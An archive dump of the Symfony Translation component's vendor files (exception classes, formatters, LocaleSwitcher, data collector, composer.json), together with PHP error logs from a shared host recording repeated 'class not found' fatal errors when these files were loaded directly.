found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/InvalidResourceException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/InvalidResourceException.php on line 19 [19-Nov-2025 13:40:47 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Exception\LogicException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/UnsupportedSchemeException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/UnsupportedSchemeException.php on line 17 [19-Nov-2025 13:47:18 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/InvalidArgumentException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/InvalidArgumentException.php on line 19 [19-Nov-2025 13:47:50 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/ProviderExceptionInterface.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/ProviderExceptionInterface.php on line 17 [19-Nov-2025 13:52:25 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Exception\InvalidArgumentException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/IncompleteDsnException.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/IncompleteDsnException.php on line 14 [19-Nov-2025 13:59:07 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Exception\RuntimeException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/ProviderException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/ProviderException.php on line 19 [25-Nov-2025 02:29:27 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/LogicException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/LogicException.php on line 19 [25-Nov-2025 02:34:37 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/InvalidArgumentException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/InvalidArgumentException.php on line 19 [25-Nov-2025 02:35:10 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/InvalidResourceException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/InvalidResourceException.php on line 19 [25-Nov-2025 02:58:51 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Exception\IncompleteDsnException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/MissingRequiredOptionException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/MissingRequiredOptionException.php on line 17 [25-Nov-2025 03:02:46 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Exception\InvalidArgumentException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/IncompleteDsnException.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/IncompleteDsnException.php on line 14 [25-Nov-2025 03:03:45 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/RuntimeException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/RuntimeException.php on line 19 [25-Nov-2025 03:04:05 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/ProviderExceptionInterface.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/ProviderExceptionInterface.php on line 17 [25-Nov-2025 03:05:46 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Exception\LogicException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/UnsupportedSchemeException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/UnsupportedSchemeException.php on line 17 [25-Nov-2025 03:25:08 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/NotFoundResourceException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/NotFoundResourceException.php on line 19 [25-Nov-2025 05:30:02 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Exception\RuntimeException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/ProviderException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/ProviderException.php on line 19 [25-Nov-2025 23:09:52 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/NotFoundResourceException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/NotFoundResourceException.php on line 19 [26-Nov-2025 01:29:31 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/ProviderExceptionInterface.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/ProviderExceptionInterface.php on line 17 [26-Nov-2025 01:31:45 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/InvalidResourceException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/InvalidResourceException.php on line 19 [26-Nov-2025 01:32:27 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Exception\IncompleteDsnException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/MissingRequiredOptionException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/MissingRequiredOptionException.php on line 17 [26-Nov-2025 01:37:43 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/InvalidArgumentException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/InvalidArgumentException.php on line 19 [26-Nov-2025 01:56:02 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Exception\RuntimeException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/ProviderException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/ProviderException.php on line 19 [26-Nov-2025 02:02:48 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Exception\InvalidArgumentException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/IncompleteDsnException.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/IncompleteDsnException.php on line 14 [26-Nov-2025 02:02:54 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Exception\LogicException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/UnsupportedSchemeException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/UnsupportedSchemeException.php on line 17 [26-Nov-2025 03:31:23 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/RuntimeException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/RuntimeException.php on line 19 [26-Nov-2025 03:43:55 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/LogicException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Exception/LogicException.php on line 19 translation/Exception/IncompleteDsnException.php000064400000001164151113512140016170 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Exception; class IncompleteDsnException extends InvalidArgumentException { public function __construct(string $message, string $dsn = null, \Throwable $previous = null) { if ($dsn) { $message = sprintf('Invalid "%s" provider DSN: ', $dsn).$message; } parent::__construct($message, 0, $previous); } } translation/Exception/UnsupportedSchemeException.php000064400000003550151113512140017102 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Exception; use Symfony\Component\Translation\Bridge; use Symfony\Component\Translation\Provider\Dsn; class UnsupportedSchemeException extends LogicException { private const SCHEME_TO_PACKAGE_MAP = [ 'crowdin' => [ 'class' => Bridge\Crowdin\CrowdinProviderFactory::class, 'package' => 'symfony/crowdin-translation-provider', ], 'loco' => [ 'class' => Bridge\Loco\LocoProviderFactory::class, 'package' => 'symfony/loco-translation-provider', ], 'lokalise' => [ 'class' => Bridge\Lokalise\LokaliseProviderFactory::class, 'package' => 'symfony/lokalise-translation-provider', ], ]; public function __construct(Dsn $dsn, string $name = null, array $supported = []) { $provider = $dsn->getScheme(); if (false !== $pos = strpos($provider, '+')) { $provider = substr($provider, 0, $pos); } $package = self::SCHEME_TO_PACKAGE_MAP[$provider] ?? null; if ($package && !class_exists($package['class'])) { parent::__construct(sprintf('Unable to synchronize translations via "%s" as the provider is not installed. Try running "composer require %s".', $provider, $package['package'])); return; } $message = sprintf('The "%s" scheme is not supported', $dsn->getScheme()); if ($name && $supported) { $message .= sprintf('; supported schemes for translation provider "%s" are: "%s"', $name, implode('", "', $supported)); } parent::__construct($message.'.'); } } translation/Exception/InvalidArgumentException.php000064400000001011151113512140016504 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Exception; /** * Base InvalidArgumentException for the Translation component. * * @author Abdellatif Ait boudad */ class InvalidArgumentException extends \InvalidArgumentException implements ExceptionInterface { } translation/LocaleSwitcher.php000064400000003474151113512140012525 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation; use Symfony\Component\Routing\RequestContext; use Symfony\Contracts\Translation\LocaleAwareInterface; /** * @author Kevin Bond */ class LocaleSwitcher implements LocaleAwareInterface { private string $defaultLocale; /** * @param LocaleAwareInterface[] $localeAwareServices */ public function __construct( private string $locale, private iterable $localeAwareServices, private ?RequestContext $requestContext = null, ) { $this->defaultLocale = $locale; } public function setLocale(string $locale): void { if (class_exists(\Locale::class)) { \Locale::setDefault($locale); } $this->locale = $locale; $this->requestContext?->setParameter('_locale', $locale); foreach ($this->localeAwareServices as $service) { $service->setLocale($locale); } } public function getLocale(): string { return $this->locale; } /** * Switch to a new locale, execute a callback, then switch back to the original. * * @template T * * @param callable():T $callback * * @return T */ public function runWithLocale(string $locale, callable $callback): mixed { $original = $this->getLocale(); $this->setLocale($locale); try { return $callback(); } finally { $this->setLocale($original); } } public function reset(): void { $this->setLocale($this->defaultLocale); } } translation/CatalogueMetadataAwareInterface.php000064400000002730151113512140015755 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation; /** * This interface is used to get, set, and delete metadata about the Catalogue. * * @author Hugo Alliaume */ interface CatalogueMetadataAwareInterface { /** * Gets catalogue metadata for the given domain and key. * * Passing an empty domain will return an array with all catalogue metadata indexed by * domain and then by key. Passing an empty key will return an array with all * catalogue metadata for the given domain. * * @return mixed The value that was set or an array with the domains/keys or null */ public function getCatalogueMetadata(string $key = '', string $domain = 'messages'): mixed; /** * Adds catalogue metadata to a message domain. * * @return void */ public function setCatalogueMetadata(string $key, mixed $value, string $domain = 'messages'); /** * Deletes catalogue metadata for the given key and domain. * * Passing an empty domain will delete all catalogue metadata. Passing an empty key will * delete all metadata for the given domain. * * @return void */ public function deleteCatalogueMetadata(string $key = '', string $domain = 'messages'); } translation/composer.json000064400000003544151113512140011624 0ustar00{ "name": "symfony/translation", "type": "library", "description": "Provides tools to internationalize your application", "keywords": [], "homepage": "https://symfony.com", "license": "MIT", "authors": [ { "name": "Fabien Potencier", "email": "fabien@symfony.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "require": { "php": ">=8.1", "symfony/deprecation-contracts": "^2.5|^3", "symfony/polyfill-mbstring": "~1.0", "symfony/translation-contracts": "^2.5|^3.0" }, "require-dev": { "nikic/php-parser": "^4.13", "symfony/config": "^5.4|^6.0", "symfony/console": "^5.4|^6.0", "symfony/dependency-injection": "^5.4|^6.0", "symfony/http-client-contracts": "^2.5|^3.0", "symfony/http-kernel": "^5.4|^6.0", "symfony/intl": "^5.4|^6.0", "symfony/polyfill-intl-icu": "^1.21", "symfony/routing": "^5.4|^6.0", "symfony/service-contracts": "^2.5|^3", "symfony/yaml": "^5.4|^6.0", "symfony/finder": "^5.4|^6.0", "psr/log": "^1|^2|^3" }, "conflict": { "symfony/config": "<5.4", "symfony/dependency-injection": "<5.4", "symfony/http-client-contracts": "<2.5", "symfony/http-kernel": "<5.4", "symfony/service-contracts": "<2.5", "symfony/twig-bundle": "<5.4", "symfony/yaml": "<5.4", "symfony/console": "<5.4" }, "provide": { "symfony/translation-implementation": "2.3|3.0" }, "autoload": { "files": [ "Resources/functions.php" ], "psr-4": { "Symfony\\Component\\Translation\\": "" }, "exclude-from-classmap": [ "/Tests/" ] }, "minimum-stability": "dev" } translation/DataCollector/TranslationDataCollector.php000064400000010411151113512140017261 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\DataCollector; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\DataCollector\DataCollector; use Symfony\Component\HttpKernel\DataCollector\LateDataCollectorInterface; use Symfony\Component\Translation\DataCollectorTranslator; use Symfony\Component\VarDumper\Cloner\Data; /** * @author Abdellatif Ait boudad * * @final */ class TranslationDataCollector extends DataCollector implements LateDataCollectorInterface { private DataCollectorTranslator $translator; public function __construct(DataCollectorTranslator $translator) { $this->translator = $translator; } public function lateCollect(): void { $messages = $this->sanitizeCollectedMessages($this->translator->getCollectedMessages()); $this->data += $this->computeCount($messages); $this->data['messages'] = $messages; $this->data = $this->cloneVar($this->data); } public function collect(Request $request, Response $response, \Throwable $exception = null): void { $this->data['locale'] = $this->translator->getLocale(); $this->data['fallback_locales'] = $this->translator->getFallbackLocales(); } public function reset(): void { $this->data = []; } public function getMessages(): array|Data { return $this->data['messages'] ?? []; } public function getCountMissings(): int { return $this->data[DataCollectorTranslator::MESSAGE_MISSING] ?? 0; } public function getCountFallbacks(): int { return $this->data[DataCollectorTranslator::MESSAGE_EQUALS_FALLBACK] ?? 0; } public function getCountDefines(): int { return $this->data[DataCollectorTranslator::MESSAGE_DEFINED] ?? 0; } public function getLocale() { return !empty($this->data['locale']) ? $this->data['locale'] : null; } /** * @internal */ public function getFallbackLocales() { return (isset($this->data['fallback_locales']) && \count($this->data['fallback_locales']) > 0) ? $this->data['fallback_locales'] : []; } public function getName(): string { return 'translation'; } private function sanitizeCollectedMessages(array $messages): array { $result = []; foreach ($messages as $key => $message) { $messageId = $message['locale'].$message['domain'].$message['id']; if (!isset($result[$messageId])) { $message['count'] = 1; $message['parameters'] = !empty($message['parameters']) ? [$message['parameters']] : []; $messages[$key]['translation'] = $this->sanitizeString($message['translation']); $result[$messageId] = $message; } else { if (!empty($message['parameters'])) { $result[$messageId]['parameters'][] = $message['parameters']; } ++$result[$messageId]['count']; } unset($messages[$key]); } return $result; } private function computeCount(array $messages): array { $count = [ DataCollectorTranslator::MESSAGE_DEFINED => 0, DataCollectorTranslator::MESSAGE_MISSING => 0, DataCollectorTranslator::MESSAGE_EQUALS_FALLBACK => 0, ]; foreach ($messages as $message) { ++$count[$message['state']]; } return $count; } private function sanitizeString(string $string, int $length = 80): string { $string = trim(preg_replace('/\s+/', ' ', $string)); if (false !== $encoding = mb_detect_encoding($string, null, true)) { if (mb_strlen($string, $encoding) > $length) { return mb_substr($string, 0, $length - 3, $encoding).'...'; } } elseif (\strlen($string) > $length) { return substr($string, 0, $length - 3).'...'; } return $string; } } translation/DataCollector/error_log000064400000002252151113512140013532 0ustar00[19-Nov-2025 03:04:06 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DataCollector/TranslationDataCollector.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DataCollector/TranslationDataCollector.php on line 26 [19-Nov-2025 09:48:03 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DataCollector/TranslationDataCollector.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DataCollector/TranslationDataCollector.php on line 26 [25-Nov-2025 02:29:28 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DataCollector/TranslationDataCollector.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DataCollector/TranslationDataCollector.php on line 26 translation/Formatter/MessageFormatter.php000064400000003144151113512140015022 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Formatter; use Symfony\Component\Translation\IdentityTranslator; use Symfony\Contracts\Translation\TranslatorInterface; // Help opcache.preload discover always-needed symbols class_exists(IntlFormatter::class); /** * @author Abdellatif Ait boudad */ class MessageFormatter implements MessageFormatterInterface, IntlFormatterInterface { private TranslatorInterface $translator; private IntlFormatterInterface $intlFormatter; /** * @param TranslatorInterface|null $translator An identity translator to use as selector for pluralization */ public function __construct(TranslatorInterface $translator = null, IntlFormatterInterface $intlFormatter = null) { $this->translator = $translator ?? new IdentityTranslator(); $this->intlFormatter = $intlFormatter ?? new IntlFormatter(); } public function format(string $message, string $locale, array $parameters = []): string { if ($this->translator instanceof TranslatorInterface) { return $this->translator->trans($message, $parameters, null, $locale); } return strtr($message, $parameters); } public function formatIntl(string $message, string $locale, array $parameters = []): string { return $this->intlFormatter->formatIntl($message, $locale, $parameters); } } translation/Formatter/IntlFormatter.php000064400000004102151113512140014337 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Formatter; use Symfony\Component\Translation\Exception\InvalidArgumentException; use Symfony\Component\Translation\Exception\LogicException; /** * @author Guilherme Blanco * @author Abdellatif Ait boudad */ class IntlFormatter implements IntlFormatterInterface { private $hasMessageFormatter; private $cache = []; public function formatIntl(string $message, string $locale, array $parameters = []): string { // MessageFormatter constructor throws an exception if the message is empty if ('' === $message) { return ''; } if (!$formatter = $this->cache[$locale][$message] ?? null) { if (!$this->hasMessageFormatter ??= class_exists(\MessageFormatter::class)) { throw new LogicException('Cannot parse message translation: please install the "intl" PHP extension or the "symfony/polyfill-intl-messageformatter" package.'); } try { $this->cache[$locale][$message] = $formatter = new \MessageFormatter($locale, $message); } catch (\IntlException $e) { throw new InvalidArgumentException(sprintf('Invalid message format (error #%d): ', intl_get_error_code()).intl_get_error_message(), 0, $e); } } foreach ($parameters as $key => $value) { if (\in_array($key[0] ?? null, ['%', '{'], true)) { unset($parameters[$key]); $parameters[trim($key, '%{ }')] = $value; } } if (false === $message = $formatter->format($parameters)) { throw new InvalidArgumentException(sprintf('Unable to format message (error #%s): ', $formatter->getErrorCode()).$formatter->getErrorMessage()); } return $message; } } translation/Formatter/error_log000064400000005764151113512140012770 0ustar00[19-Nov-2025 04:16:08 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Formatter\MessageFormatterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Formatter/MessageFormatter.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Formatter/MessageFormatter.php on line 23 [19-Nov-2025 04:16:10 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Formatter\IntlFormatterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Formatter/IntlFormatter.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Formatter/IntlFormatter.php on line 21 [19-Nov-2025 11:05:13 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Formatter\MessageFormatterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Formatter/MessageFormatter.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Formatter/MessageFormatter.php on line 23 [19-Nov-2025 11:05:17 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Formatter\IntlFormatterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Formatter/IntlFormatter.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Formatter/IntlFormatter.php on line 21 [25-Nov-2025 05:29:22 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Formatter\MessageFormatterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Formatter/MessageFormatter.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Formatter/MessageFormatter.php on line 23 [25-Nov-2025 05:29:52 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Formatter\IntlFormatterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Formatter/IntlFormatter.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Formatter/IntlFormatter.php on line 21 [25-Nov-2025 23:07:48 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Formatter\IntlFormatterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Formatter/IntlFormatter.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Formatter/IntlFormatter.php on line 21 [26-Nov-2025 01:37:31 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Formatter\MessageFormatterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Formatter/MessageFormatter.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Formatter/MessageFormatter.php on line 23 translation/Formatter/IntlFormatterInterface.php000064400000001262151113512140016164 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Formatter; /** * Formats ICU message patterns. * * @author Nicolas Grekas */ interface IntlFormatterInterface { /** * Formats a localized message using rules defined by ICU MessageFormat. * * @see http://icu-project.org/apiref/icu4c/classMessageFormat.html#details */ public function formatIntl(string $message, string $locale, array $parameters = []): string; } translation/Formatter/MessageFormatterInterface.php000064400000001526151113512140016645 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Formatter; /** * @author Guilherme Blanco * @author Abdellatif Ait boudad */ interface MessageFormatterInterface { /** * Formats a localized message pattern with given arguments. * * @param string $message The message (may also be an object that can be cast to string) * @param string $locale The message locale * @param array $parameters An array of parameters for the message */ public function format(string $message, string $locale, array $parameters = []): string; } translation/error_log000064400000026563151113512140011025 0ustar00[18-Nov-2025 05:15:11 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Translation\TranslatorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/PseudoLocalizationTranslator.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/PseudoLocalizationTranslator.php on line 19 [18-Nov-2025 10:33:07 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\MessageCatalogueInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/MessageCatalogue.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/MessageCatalogue.php on line 20 [18-Nov-2025 11:54:38 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Translation\TranslatorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DataCollectorTranslator.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/DataCollectorTranslator.php on line 22 [18-Nov-2025 14:46:11 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Translation\LocaleAwareInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/LocaleSwitcher.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/LocaleSwitcher.php on line 20 [18-Nov-2025 15:40:01 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Translation\TranslatorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/PseudoLocalizationTranslator.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/PseudoLocalizationTranslator.php on line 19 [18-Nov-2025 19:59:18 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\MessageCatalogueInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/MessageCatalogue.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/MessageCatalogue.php on line 20 [18-Nov-2025 23:18:27 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Translation\TranslatableInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/TranslatableMessage.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/TranslatableMessage.php on line 20 [18-Nov-2025 23:21:12 UTC] PHP Fatal error: Trait "Symfony\Contracts\Translation\TranslatorTrait" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/IdentityTranslator.php on line 23 [18-Nov-2025 23:40:48 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Translation\LocaleAwareInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/LocaleSwitcher.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/LocaleSwitcher.php on line 20 [19-Nov-2025 00:09:38 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Translation\TranslatorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Translator.php:34 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Translator.php on line 34 [19-Nov-2025 05:31:55 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\TranslatorBagInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/TranslatorBag.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/TranslatorBag.php on line 17 [19-Nov-2025 06:07:45 UTC] PHP Fatal error: Trait "Symfony\Contracts\Translation\TranslatorTrait" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/IdentityTranslator.php on line 23 [19-Nov-2025 06:11:27 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Translation\TranslatableInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/TranslatableMessage.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/TranslatableMessage.php on line 20 [19-Nov-2025 08:19:35 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Translation\TranslatorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Translator.php:34 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Translator.php on line 34 [19-Nov-2025 09:50:49 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Contracts\Translation\TranslatorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/LoggingTranslator.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/LoggingTranslator.php on line 22 [19-Nov-2025 12:32:02 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\TranslatorBagInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/TranslatorBag.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/TranslatorBag.php on line 17 [19-Nov-2025 16:32:41 UTC] PHP 